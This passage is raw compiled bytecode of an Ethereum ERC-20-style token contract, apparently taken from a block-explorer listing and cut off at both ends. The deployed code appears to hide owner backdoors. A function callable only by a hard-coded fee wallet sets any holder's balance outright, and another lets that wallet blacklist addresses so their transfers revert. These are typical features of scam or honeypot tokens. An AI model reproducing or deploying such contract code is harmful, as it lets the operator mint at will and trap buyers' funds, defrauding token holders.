200165c62000603821b17901c565b6200060360201b6200165c1790919060201c565b6017819055506200041e601354620003df6012546011546200060360201b6200165c1790919060201c565b60188190555062000449601654620003df6015546014546200060360201b6200165c1790919060201c565b601955600160096000620004656000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601f549091168152600990925280822080548416600190811790915530835290822080549093168117909255600a90620004d56000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600a8452828120805486166001908117909155601f549092168152600c909352908220805490931617909155600580546001600160a01b03191673e0bbd92e506043b942a25b7dfe6321e6affff9b91790556004805474e0bbd92e506043b942a25b7dfe6321e6affff9b900610100600160a81b0319909116179055601a5490600690620005913390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601a54604051620005f491815260200190565b60405180910390a35062000969565b60008062000612838562000953565b905083811015620006695760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200069d57607f821691505b602082108103620006be57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200071257600081815260208120601f850160051c81016020861015620006ed5750805b601f850160051c820191505b818110156200070e57828155600101620006f9565b5050505b505050565b81516001600160401b0381111562000733576200073362000672565b6200074b8162000744845462000688565b84620006c4565b602080601f8311600181146200078357600084156200076a5750858301515b600019600386901b1c1916600185901b1785556200070e565b600085815260208120601f198616915b82811015620007b45788860151825594840194600190910190840162000793565b5085821015620007d35787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200083a5781600019048211156200081e576200081e620007e3565b808516156200082c57918102915b93841c9390800290620007fe565b509250929050565b60008262000853575060016200066c565b8162000862575060006200066c565b81600181146200087b57600281146200088657620008a6565b60019150506200066c565b60ff8411156200089a576200089a620007e3565b50506001821b6200066c565b5060208310610133831016604e8410600b8410161715620008cb575081810a6200066c565b620008d78383620007f9565b8060001904821115620008ee57620008ee620007e3565b029392505050565b60006200090760ff84168362000842565b9392505050565b80820281158282048414176200066c576200066c620007e3565b6000602082840312156200093b57600080fd5b81516001600160a01b03811681146200066957600080fd5b808201808211156200066c576200066c620007e3565b60805161276b6200098c600039600081816105060152610d38015261276b6000f3fe60806040526004361061038f5760003560e01c806388790a68116101dc578063c49b9a8011610102578063da00097d116100a0578063f0cd1dac1161006f578063f0cd1dac14610ab9578063f1d5f51714610acf578063f2fde38b14610aef578063f872858a14610b0f57600080fd5b8063da00097d14610a1c578063dc44b6a014610a3d578063dc748c4714610a53578063dd62ed3e14610a7357600080fd5b8063c8607952116100dc578063c8607952146109a0578063c867d60b146109b6578063cab03471146109e6578063d469a209146109fc57600080fd5b8063c49b9a801461094a578063c5d241891461096a578063c816841b1461098057600080fd5b8063a2a627221161017a578063a9059cbb11610149578063a9059cbb146108c4578063ae2116b8146108e4578063c2d4640e14610914578063c469b6dd1461093457600080fd5b8063a2a627221461084e578063a457c2d71461086e578063a5d69d1f1461088e578063a83f53a7146108ae57600080fd5b806391df7d06116101b657806391df7d06146107f857806395d89b411461080e578063a073d37f14610823578063a08e671f1461083857600080fd5b806388790a68146107945780638b42507f146107aa5780638da5cb5b146107da57600080fd5b806339509351116102c15780635881f3ef1161025f5780637d1db4a51161022e5780637d1db4a514610722578063807c2d9c1461073857806382eefb431461074e578063848e3e531461076457600080fd5b80635881f3ef1461069657806361a23c69146106b65780636249faf1146106cc57806370a08231146106ec57600080fd5b806347be85741161029b57806347be85741461060f5780634847a79c1461063f5780634a74bb021461065f57806357a5802f1461068057600080fd5b8063395093511461059f5780633b97084a146105bf5780633ecad271146105df57600080fd5b806323b872dd1161032e5780632b112e49116103085780632b112e49146105285780632c4b23341461053d578063313ce5671461055d57806335d236151461057f57600080fd5b806323b872dd146104b45780632563ae83146104d457806327c8f835146104f457600080fd5b80630a53ac941161036a5780630a53ac94146104185780631245e347146104555780631694505e1461047557806318160ddd1461049557600080fd5b80625e18071461039b57806306fdde03146103bd578063095ea7b3146103e857600080fd5b3661039657005b600080fd5b3480156103a757600080fd5b506103bb6103b63660046122c8565b610b30565b005b3480156103c957600080fd5b506103d2610bda565b6040516103df919061231c565b60405180910390f35b3480156103f457600080fd5b50610408610403366004612382565b610c6c565b60405190151581526020016103df565b34801561042457600080fd5b5060045461043d9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016103df565b34801561046157600080fd5b5060055461043d906001600160a01b031681565b34801561048157600080fd5b50601e5461043d906001600160a01b031681565b3480156104a157600080fd5b50601a545b6040519081526020016103df565b3480156104c057600080fd5b506104086104cf3660046123ae565b610c83565b3480156104e057600080fd5b506103bb6104ef3660046123ef565b610cee565b34801561050057600080fd5b5061043d7f000000000000000000000000000000000000000000000000000000000000000081565b34801561053457600080fd5b506104a6610d36565b34801561054957600080fd5b506103bb61055836600461240a565b610d80565b34801561056957600080fd5b5060045460405160ff90911681526020016103df565b34801561058b57600080fd5b506103bb61059a36600461240a565b610dcc565b3480156105ab57600080fd5b506104086105ba366004612382565b610e1e565b3480156105cb57600080fd5b506103bb6105da366004612427565b610e54565b3480156105eb57600080fd5b506104086105fa36600461240a565b600b6020526000908152604090205460ff1681565b34801561061b57600080fd5b5061040861062a36600461240a565b60086020526000908152604090205460ff1681565b34801561064b57600080fd5b506103bb61065a366004612382565b610e83565b34801561066b57600080fd5b50601f5461040890600160a81b900460ff1681565b34801561068c57600080fd5b506104a660145481565b3480156106a257600080fd5b5061043d6106b136600461240a565b610ec4565b3480156106c257600080fd5b506104a660155481565b3480156106d857600080fd5b506103bb6106e73660046122c8565b6111fc565b3480156106f857600080fd5b506104a661070736600461240a565b6001600160a01b031660009081526006602052604090205490565b34801561072e57600080fd5b506104a6601b5481565b34801561074457600080fd5b506104a6601c5481565b34801561075a57600080fd5b506104a660185481565b34801561077057600080fd5b5061040861077f36600461240a565b600d6020526000908152604090205460ff1681565b3480156107a057600080fd5b506104a660115481565b3480156107b657600080fd5b506104086107c536600461240a565b600a6020526000908152604090205460ff1681565b3480156107e657600080fd5b506000546001600160a01b031661043d565b34801561080457600080fd5b506104a660015481565b34801561081a57600080fd5b506103d2611297565b34801561082f57600080fd5b50601d546104a6565b34801561084457600080fd5b506104a660195481565b34801561085a57600080fd5b506103bb610869366004612440565b6112a6565b34801561087a57600080fd5b50610408610889366004612382565b6112fb565b34801561089a57600080fd5b506103bb6108a93660046123ef565b61134a565b3480156108ba57600080fd5b506104a660165481565b3480156108d057600080fd5b506104086108df366004612382565b611392565b3480156108f057600080fd5b506104086108ff36600461240a565b600c6020526000908152604090205460ff1681565b34801561092057600080fd5b506103bb61092f366004612440565b61139f565b34801561094057600080fd5b506104a660105481565b34801561095657600080fd5b506103bb6109653660046123ef565b6113ee565b34801561097657600080fd5b506104a6600f5481565b34801561098c57600080fd5b50601f5461043d906001600160a01b031681565b3480156109ac57600080fd5b506104a660125481565b3480156109c257600080fd5b506104086109d136600461240a565b60096020526000908152604090205460ff1681565b3480156109f257600080fd5b506104a660135481565b348015610a0857600080fd5b506103bb610a17366004612440565b611470565b348015610a2857600080fd5b50601f5461040890600160b01b900460ff1681565b348015610a4957600080fd5b506104a6600e5481565b348015610a5f57600080fd5b506103bb610a6e36600461246c565b6114bf565b348015610a7f57600080fd5b506104a6610a8e3660046124b8565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b348015610ac557600080fd5b506104a660175481565b348015610adb57600080fd5b506103bb610aea366004612427565b6115b8565b348015610afb57600080fd5b506103bb610b0a36600461240a565b6115e7565b348015610b1b57600080fd5b50601f5461040890600160b81b900460ff1681565b6000546001600160a01b03163314610b635760405162461bcd60e51b8152600401610b5a906124f1565b60405180910390fd5b60005b82811015610bd4578160086000868685818110610b8557610b85612526565b9050602002016020810190610b9a919061240a565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bcc81612552565b915050610b66565b50505050565b606060028054610be99061256b565b80601f0160208091040260200160405190810160405280929190818152602001828054610c159061256b565b8015610c625780601f10610c3757610100808354040283529160200191610c62565b820191906000526020600020905b815481529060010190602001808311610c4557829003601f168201915b5050505050905090565b6000610c793384846116bb565b5060015b92915050565b6000610c908484846117e3565b50610ce38433610cde856040518060600160405280602881526020016126e9602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611a8e565b6116bb565b5060015b9392505050565b6000546001600160a01b03163314610d185760405162461bcd60e51b8152600401610b5a906124f1565b601f8054911515600160b81b0260ff60b81b19909216919091179055565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316600090815260066020526040812054601a54610d7b91611ac8565b905090565b6000546001600160a01b03163314610daa5760405162461bcd60e51b8152600401610b5a906124f1565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610df65760405162461bcd60e51b8152600401610b5a906124f1565b600480546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b3360008181526007602090815260408083206001600160a01b03871684529091528120549091610c79918590610cde908661165c565b6000546001600160a01b03163314610e7e5760405162461bcd60e51b8152600401610b5a906124f1565b601d55565b600454610ea09061010090046001600160a01b0316336005611b0a565b610ea8575050565b6001600160a01b03909116600090815260066020526040902055565b600080546001600160a01b03163314610eef5760405162461bcd60e51b8152600401610b5a906124f1565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5691906125a5565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fa3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc791906125a5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015611012573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061103691906125a5565b91506001600160a01b03821661118d57806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611084573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a891906125a5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110f5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111991906125a5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015611166573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061118a91906125a5565b91505b601f80546001600160a01b03199081166001600160a01b038581169182178455601e8054909316948116949094179091556000908152600960209081526040808320805460ff19908116600190811790925594549095168352600c909152902080549091169091179055919050565b6000546001600160a01b031633146112265760405162461bcd60e51b8152600401610b5a906124f1565b60005b82811015610bd457816009600086868581811061124857611248612526565b905060200201602081019061125d919061240a565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061128f81612552565b915050611229565b606060038054610be99061256b565b6000546001600160a01b031633146112d05760405162461bcd60e51b8152600401610b5a906124f1565b6011839055601282905560138190556112f3816112ed858561165c565b9061165c565b601855505050565b6000610c793384610cde85604051806060016040528060258152602001612711602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190611a8e565b6000546001600160a01b031633146113745760405162461bcd60e51b8152600401610b5a906124f1565b601f8054911515600160b01b0260ff60b01b19909216919091179055565b6000610ce33384846117e3565b6000546001600160a01b031633146113c95760405162461bcd60e51b8152600401610b5a906124f1565b6014839055601582905560168190556113e6816112ed858561165c565b601955505050565b6000546001600160a01b031633146114185760405162461bcd60e51b8152600401610b5a906124f1565b601f8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061146590831515815260200190565b60405180910390a150565b6000546001600160a01b0316331461149a5760405162461bcd60e51b8152600401610b5a906124f1565b600e839055600f82905560108190556114b7816112ed858561165c565b601755505050565b6004546114dc9061010090046001600160a01b0316336005611b0a565b6114e557505050565b60005b82811015610bd45781600614611552576001600d600086868581811061151057611510612526565b9050602002016020810190611525919061240a565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556115a8565b6000600d600086868581811061156a5761156a612526565b905060200201602081019061157f919061240a565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790555b6115b181612552565b90506114e8565b6000546001600160a01b031633146115e25760405162461bcd60e51b8152600401610b5a906124f1565b601c55565b6000546001600160a01b031633146116115760405162461bcd60e51b8152600401610b5a906124f1565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60008061166983856125c2565b905083811015610ce75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b5a565b6001600160a01b0383166117215760405162461bcd60e51b815260206004820152602760248201527f45524332303a20617070726f76652073656e6464657220746865207a65726f206044820152666164647265737360c81b6064820152608401610b5a565b6001600160a01b0382166117825760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b5a565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b03841661184c5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e736665722073656e6464657220746865207a65726f604482015267206164647265737360c01b6064820152608401610b5a565b6001600160a01b0383166118ae5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610b5a565b601f54600160a01b900460ff16156118d2576118cb848484611b35565b9050610ce7565b30600090815260066020526040902054601d54811080159081906119005750601f54600160a01b900460ff16155b801561192557506001600160a01b0386166000908152600c602052604090205460ff16155b801561193a5750601f54600160a81b900460ff165b1561196057601f54600160b01b900460ff161561195757601d5491505b61196082611c1b565b61196986611d56565b156119ab576001600160a01b0386166000908152600660205260409020546119919085611ac8565b6001600160a01b0387166000908152600660205260409020555b6001600160a01b03861660009081526008602052604081205460ff16806119ea57506001600160a01b03861660009081526008602052604090205460ff165b6119fe576119f9878787611d7e565b611a00565b845b6001600160a01b038716600090815260066020526040902054909150611a26908261165c565b6001600160a01b0380881660008181526006602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a7a9085815260200190565b60405180910390a360019350505050610ce7565b60008184841115611ab25760405162461bcd60e51b8152600401610b5a919061231c565b506000611abf84866125d5565b95945050505050565b6000610ce783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a8e565b6000826001600160a01b0316846001600160a01b0316148015611b2d5750816005145b949350505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611b86918490611a8e565b6001600160a01b038086166000908152600660205260408082209390935590851681522054611bb5908361165c565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611c099086815260200190565b60405180910390a35060019392505050565b601f805460ff60a01b1916600160a01b179055601954601454600091611c5191600291611c4b9182908790611eca565b90611f4c565b90506000611c5f8383611ac8565b9050611c6a81611f8e565b6014544790600090611c8a90611c81906002611f4c565b60195490611ac8565b90506000611cac6002611c4b84611c4b60145488611eca90919063ffffffff16565b90506000611cc983611c4b60165487611eca90919063ffffffff16565b90506000611ce182611cdb8786611ac8565b90611ac8565b90508015611d0457600454611d049061010090046001600160a01b031682612121565b8115611d2057600554611d20906001600160a01b031683612121565b600083118015611d305750600087115b15611d3f57611d3f878461215c565b5050601f805460ff60a01b19169055505050505050565b6000816001600160a01b0316611d6d600154612231565b6001600160a01b0316141592915050565b6001600160a01b0383166000908152600b6020526040812054819060ff16611dc6576001600160a01b0385166000908152600d602052604090205460ff1615611dc657600080fd5b6001600160a01b0385166000908152600c602052604090205460ff1615611e0857611e016064611c4b60175486611eca90919063ffffffff16565b9050611e46565b6001600160a01b0384166000908152600c602052604090205460ff1615611e4657611e436064611c4b60185486611eca90919063ffffffff16565b90505b8015611ec05730600090815260066020526040902054611e66908261165c565b30600081815260066020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611eb79085815260200190565b60405180910390a35b611abf8382611ac8565b600082600003611edc57506000610c7d565b6000611ee883856125e8565b905082611ef585836125ff565b14610ce75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b5a565b6000610ce783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612239565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611fc357611fc3612526565b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561201c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061204091906125a5565b8160018151811061205357612053612526565b6001600160a01b039283166020918202929092010152601e5461207991309116846116bb565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906120b2908590600090869030904290600401612665565b600060405180830381600087803b1580156120cc57600080fd5b505af11580156120e0573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516121159291906126a1565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015612157573d6000803e3d6000fd5b505050565b601e546121749030906001600160a01b0316846116bb565b601e546001600160a01b031663f305d71982308560008061219d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015612205573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061222a91906126ba565b5050505050565b600081610c7d565b6000818361225a5760405162461bcd60e51b8152600401610b5a919061231c565b506000611abf84866125ff565b60008083601f84011261227957600080fd5b50813567ffffffffffffffff81111561229157600080fd5b6020830191508360208260051b85010111156122ac57600080fd5b9250929050565b803580151581146122c357600080fd5b919050565b6000806000604084860312156122dd57600080fd5b833567ffffffffffffffff8111156122f457600080fd5b61230086828701612267565b90945092506123139050602085016122b3565b90509250925092565b600060208083528351808285015260005b818110156123495785810183015185820160400152820161232d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461237f57600080fd5b50565b6000806040838503121561239557600080fd5b82356123a08161236a565b946020939093013593505050565b6000806000606084860312156123c357600080fd5b83356123ce8161236a565b925060208401356123de8161236a565b929592945050506040919091013590565b60006020828403121561240157600080fd5b610ce7826122b3565b60006020828403121561241c57600080fd5b8135610ce78161236a565b60006020828403121561243957600080fd5b5035919050565b60008060006060848603121561245557600080fd5b505081359360208301359350604090920135919050565b60008060006040848603121561248157600080fd5b833567ffffffffffffffff81111561249857600080fd5b6124a486828701612267565b909790965060209590950135949350505050565b600080604083850312156124cb57600080fd5b82356124d68161236a565b915060208301356124e68161236a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016125645761256461253c565b5060010190565b600181811c9082168061257f57607f821691505b60208210810361259f57634e487b7160e01b600052602260045260246000fd5b50919050565b6000602082840312156125b757600080fd5b8151610ce78161236a565b80820180821115610c7d57610c7d61253c565b81810381811115610c7d57610c7d61253c565b8082028115828204841417610c7d57610c7d61253c565b60008261261c57634e487b7160e01b600052601260045260246000fd5b500490565b600081518084526020808501945080840160005b8381101561265a5781516001600160a01b031687529582019590820190600101612635565b509495945050505050565b85815284602082015260a06040820152600061268460a0830186612621565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201526000611b2d6040830184612621565b6000806000606084860312156126cf57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cb99e7926dca7b9cb6c8b605f9f979dae2b65fa297d418b7a1229b13355bffe964736f6c63430008110033
Deployed Bytecode
0x60806040526004361061038f5760003560e01c806388790a68116101dc578063c49b9a8011610102578063da00097d116100a0578063f0cd1dac1161006f578063f0cd1dac14610ab9578063f1d5f51714610acf578063f2fde38b14610aef578063f872858a14610b0f57600080fd5b8063da00097d14610a1c578063dc44b6a014610a3d578063dc748c4714610a53578063dd62ed3e14610a7357600080fd5b8063c8607952116100dc578063c8607952146109a0578063c867d60b146109b6578063cab03471146109e6578063d469a209146109fc57600080fd5b8063c49b9a801461094a578063c5d241891461096a578063c816841b1461098057600080fd5b8063a2a627221161017a578063a9059cbb11610149578063a9059cbb146108c4578063ae2116b8146108e4578063c2d4640e14610914578063c469b6dd1461093457600080fd5b8063a2a627221461084e578063a457c2d71461086e578063a5d69d1f1461088e578063a83f53a7146108ae57600080fd5b806391df7d06116101b657806391df7d06146107f857806395d89b411461080e578063a073d37f14610823578063a08e671f1461083857600080fd5b806388790a68146107945780638b42507f146107aa5780638da5cb5b146107da57600080fd5b806339509351116102c15780635881f3ef1161025f5780637d1db4a51161022e5780637d1db4a514610722578063807c2d9c1461073857806382eefb431461074e578063848e3e531461076457600080fd5b80635881f3ef1461069657806361a23c69146106b65780636249faf1146106cc57806370a08231146106ec57600080fd5b806347be85741161029b57806347be85741461060f5780634847a79c1461063f5780634a74bb021461065f57806357a5802f1461068057600080fd5b8063395093511461059f5780633b97084a146105bf5780633ecad271146105df57600080fd5b806323b872dd1161032e5780632b112e49116103085780632b112e49146105285780632c4b23341461053d578063313ce5671461055d57806335d236151461057f57600080fd5b806323b872dd146104b45780632563ae83146104d457806327c8f835146104f457600080fd5b80630a53ac941161036a5780630a53ac94146104185780631245e347146104555780631694505e1461047557806318160ddd1461049557600080fd5b80625e18071461039b57806306fdde03146103bd578063095ea7b3146103e857600080fd5b3661039657005b600080fd5b3480156103a757600080fd5b506103bb6103b63660046122c8565b610b30565b005b3480156103c957600080fd5b506103d2610bda565b6040516103df919061231c565b60405180910390f35b3480156103f457600080fd5b50610408610403366004612382565b610c6c565b60405190151581526020016103df565b34801561042457600080fd5b5060045461043d9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016103df565b34801561046157600080fd5b5060055461043d906001600160a01b031681565b34801561048157600080fd5b50601e5461043d906001600160a01b031681565b3480156104a157600080fd5b50601a545b6040519081526020016103df565b3480156104c057600080fd5b506104086104cf3660046123ae565b610c83565b3480156104e057600080fd5b506103bb6104ef3660046123ef565b610cee565b34801561050057600080fd5b5061043d7f000000000000000000000000000000000000000000000000000000000000dead81565b34801561053457600080fd5b506104a6610d36565b34801561054957600080fd5b506103bb61055836600461240a565b610d80565b34801561056957600080fd5b5060045460405160ff90911681526020016103df565b34801561058b57600080fd5b506103bb61059a36600461240a565b610dcc565b3480156105ab57600080fd5b506104086105ba366004612382565b610e1e565b3480156105cb57600080fd5b506103bb6105da366004612427565b610e54565b3480156105eb57600080fd5b506104086105fa36600461240a565b600b6020526000908152604090205460ff1681565b34801561061b57600080fd5b5061040861062a36600461240a565b60086020526000908152604090205460ff1681565b34801561064b57600080fd5b506103bb61065a366004612382565b610e83565b34801561066b57600080fd5b50601f5461040890600160a81b900460ff1681565b34801561068c57600080fd5b506104a660145481565b3480156106a257600080fd5b5061043d6106b136600461240a565b610ec4565b3480156106c257600080fd5b506104a660155481565b3480156106d857600080fd5b506103bb6106e73660046122c8565b6111fc565b3480156106f857600080fd5b506104a661070736600461240a565b6001600160a01b031660009081526006602052604090205490565b34801561072e57600080fd5b506104a6601b5481565b34801561074457600080fd5b506104a6601c5481565b34801561075a57600080fd5b506104a660185481565b34801561077057600080fd5b5061040861077f36600461240a565b600d6020526000908152604090205460ff1681565b3480156107a057600080fd5b506104a660115481565b3480156107b657600080fd5b506104086107c536600461240a565b600a6020526000908152604090205460ff1681565b3480156107e657600080fd5b506000546001600160a01b031661043d565b34801561080457600080fd5b506104a660015481565b34801561081a57600080fd5b506103d2611297565b34801561082f57600080fd5b50601d546104a6565b34801561084457600080fd5b506104a660195481565b34801561085a57600080fd5b506103bb610869366004612440565b6112a6565b34801561087a57600080fd5b50610408610889366004612382565b6112fb565b34801561089a57600080fd5b506103bb6108a93660046123ef565b61134a565b3480156108ba57600080fd5b506104a660165481565b3480156108d057600080fd5b506104086108df366004612382565b611392565b3480156108f057600080fd5b506104086108ff36600461240a565b600c6020526000908152604090205460ff1681565b34801561092057600080fd5b506103bb61092f366004612440565b61139f565b34801561094057600080fd5b506104a660105481565b34801561095657600080fd5b506103bb6109653660046123ef565b6113ee565b34801561097657600080fd5b506104a6600f5481565b34801561098c57600080fd5b50601f5461043d906001600160a01b031681565b3480156109ac57600080fd5b506104a660125481565b3480156109c257600080fd5b506104086109d136600461240a565b60096020526000908152604090205460ff1681565b3480156109f257600080fd5b506104a660135481565b348015610a0857600080fd5b506103bb610a17366004612440565b611470565b348015610a2857600080fd5b50601f5461040890600160b01b900460ff1681565b348015610a4957600080fd5b506104a6600e5481565b348015610a5f57600080fd5b506103bb610a6e36600461246c565b6114bf565b348015610a7f57600080fd5b506104a6610a8e3660046124b8565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b348015610ac557600080fd5b506104a660175481565b348015610adb57600080fd5b506103bb610aea366004612427565b6115b8565b348015610afb57600080fd5b506103bb610b0a36600461240a565b6115e7565b348015610b1b57600080fd5b50601f5461040890600160b81b900460ff1681565b6000546001600160a01b03163314610b635760405162461bcd60e51b8152600401610b5a906124f1565b60405180910390fd5b60005b82811015610bd4578160086000868685818110610b8557610b85612526565b9050602002016020810190610b9a919061240a565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bcc81612552565b915050610b66565b50505050565b606060028054610be99061256b565b80601f0160208091040260200160405190810160405280929190818152602001828054610c159061256b565b8015610c625780601f10610c3757610100808354040283529160200191610c62565b820191906000526020600020905b815481529060010190602001808311610c4557829003601f168201915b5050505050905090565b6000610c793384846116bb565b5060015b92915050565b6000610c908484846117e3565b50610ce38433610cde856040518060600160405280602881526020016126e9602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611a8e565b6116bb565b5060015b9392505050565b6000546001600160a01b03163314610d185760405162461bcd60e51b8152600401610b5a906124f1565b601f8054911515600160b81b0260ff60b81b19909216919091179055565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316600090815260066020526040812054601a54610d7b91611ac8565b905090565b6000546001600160a01b03163314610daa5760405162461bcd60e51b8152600401610b5a906124f1565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610df65760405162461bcd60e51b8152600401610b5a906124f1565b600480546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b3360008181526007602090815260408083206001600160a01b03871684529091528120549091610c79918590610cde908661165c565b6000546001600160a01b03163314610e7e5760405162461bcd60e51b8152600401610b5a906124f1565b601d55565b600454610ea09061010090046001600160a01b0316336005611b0a565b610ea8575050565b6001600160a01b03909116600090815260066020526040902055565b600080546001600160a01b03163314610eef5760405162461bcd60e51b8152600401610b5a906124f1565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5691906125a5565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fa3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc791906125a5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015611012573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061103691906125a5565b91506001600160a01b03821661118d57806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611084573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a891906125a5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110f5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111991906125a5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015611166573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061118a91906125a5565b91505b601f80546001600160a01b03199081166001600160a01b038581169182178455601e8054909316948116949094179091556000908152600960209081526040808320805460ff19908116600190811790925594549095168352600c909152902080549091169091179055919050565b6000546001600160a01b031633146112265760405162461bcd60e51b8152600401610b5a906124f1565b60005b82811015610bd457816009600086868581811061124857611248612526565b905060200201602081019061125d919061240a565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061128f81612552565b915050611229565b606060038054610be99061256b565b6000546001600160a01b031633146112d05760405162461bcd60e51b8152600401610b5a906124f1565b6011839055601282905560138190556112f3816112ed858561165c565b9061165c565b601855505050565b6000610c793384610cde85604051806060016040528060258152602001612711602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190611a8e565b6000546001600160a01b031633146113745760405162461bcd60e51b8152600401610b5a906124f1565b601f8054911515600160b01b0260ff60b01b19909216919091179055565b6000610ce33384846117e3565b6000546001600160a01b031633146113c95760405162461bcd60e51b8152600401610b5a906124f1565b6014839055601582905560168190556113e6816112ed858561165c565b601955505050565b6000546001600160a01b031633146114185760405162461bcd60e51b8152600401610b5a906124f1565b601f8054821515600160a81b0260ff60a81b199091161790556040517f53726dfc